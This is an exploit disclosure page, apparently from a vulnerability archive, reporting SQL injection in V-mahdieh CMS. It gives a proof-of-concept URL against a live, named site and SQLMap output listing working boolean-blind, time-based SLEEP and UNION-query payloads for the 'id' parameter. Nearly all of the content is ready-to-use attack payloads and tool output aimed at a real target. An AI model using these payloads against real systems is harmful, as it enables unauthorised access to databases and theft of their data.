V-mahdieh CMS - SQL Injection

2021.11.29
ir Mr.B3nY (IR) ir
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

========================================================= # Exploit Title: V-mahdieh CMS - SQL Injection # Date: 2021-11-23 # Exploit Author: Mr.B3nY # Vendor Homepage: www.v-mahdieh.ir # Tested on: Parrot OS # Vulnerability : SQL Injection Vulnerability ========================================================= [+] POC :- https://v-mahdieh.ir/news.php?id=5' ========================================================= SQLMap ++++++++++++++++++++++++++ Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=5' AND 1646=1646 AND 'BfjV'='BfjV Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=5' AND (SELECT 1651 FROM (SELECT(SLEEP(5)))gqgj) AND 'kqNx'='kqNx Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: id=-2588' UNION ALL SELECT NULL,CONCAT(0x716b627171,0x6373764a625551477a6e4f6773614f4e764a62566b6f545a5851574b556279505a416b6776477965,0x71626b6a71),NULL,NULL-- - =========================================================


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top